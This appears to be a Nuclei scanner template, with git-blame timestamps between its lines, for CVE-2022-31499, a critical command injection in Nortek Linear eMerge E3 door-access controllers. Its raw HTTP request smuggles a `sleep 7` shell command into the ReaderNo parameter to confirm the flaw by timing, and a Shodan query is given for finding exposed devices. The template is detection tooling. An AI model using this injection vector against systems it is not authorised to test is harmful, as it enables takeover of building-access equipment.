2022-09-23 17:28:46 +00:00
id : CVE-2022-31499
info :
2023-03-27 17:46:47 +00:00
name : Nortek Linear eMerge E3-Series <0.32-08f - Remote Command Injection
2022-09-23 17:28:46 +00:00
author : pikpikcu
severity : critical
2023-02-10 09:43:10 +00:00
description : |
2023-03-27 17:46:47 +00:00
Nortek Linear eMerge E3-Series devices before 0.32-08f are susceptible to remote command injection via ReaderNo. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. NOTE : this vulnerability exists because of an incomplete fix for CVE-2019-7256.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to a patched version of Nortek Linear eMerge E3-Series (>=0.32-08f) to mitigate this vulnerability.
2022-09-23 17:28:46 +00:00
reference :
- https://packetstormsecurity.com/files/167991/Nortek-Linear-eMerge-E3-Series-Command-Injection.html
- https://github.com/omarhashem123/CVE-2022-31499
2023-02-10 14:40:38 +00:00
- http://packetstormsecurity.com/files/167991/Nortek-Linear-eMerge-E3-Series-Command-Injection.html
2023-03-27 17:46:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-31499
2023-07-11 19:49:27 +00:00
- https://eg.linkedin.com/in/omar-1-hashem
2023-02-10 09:43:10 +00:00
classification :
2023-02-10 14:40:38 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-02-10 09:43:10 +00:00
cve-id : CVE-2022-31499
2023-02-10 14:40:38 +00:00
cwe-id : CWE-78
2023-10-14 11:27:55 +00:00
epss-score : 0.29402
2023-10-23 12:22:20 +00:00
epss-percentile : 0.96363
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
2023-02-10 09:43:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : nortekcontrol
product : emerge_e3_firmware
2023-09-06 11:59:08 +00:00
shodan-query : title:"eMerge"
2023-02-10 14:40:38 +00:00
tags : packetstorm,cve,cve2022,emerge,rce
2022-09-23 17:28:46 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-23 17:28:46 +00:00
- raw :
- |
2023-02-10 09:43:10 +00:00
@timeout : 15s
GET /card_scan.php?No=123&ReaderNo=`sleep%207`&CardFormatNo=123 HTTP/1.1
2022-09-23 17:28:46 +00:00
Host : {{Hostname}}
matchers :
2023-02-10 09:43:10 +00:00
- type : dsl
dsl :
- duration>=7
2023-06-19 21:10:30 +00:00
- contains(header, "text/html")
2023-02-10 09:43:10 +00:00
- status_code == 200
- contains(body, '{\"CardNo\":false')
condition : and
2023-10-23 12:42:36 +00:00
# digest: 4b0a00483046022100f251a7d62b96582f7f27ddb64e4a6ae6c8bad846084b47be628cfa5074608bb8022100997614432045177412a9cfd60cccb58f632d99d609476215ce09f7d4cece5e8a:922c64590222798bb761d5b6d8e72950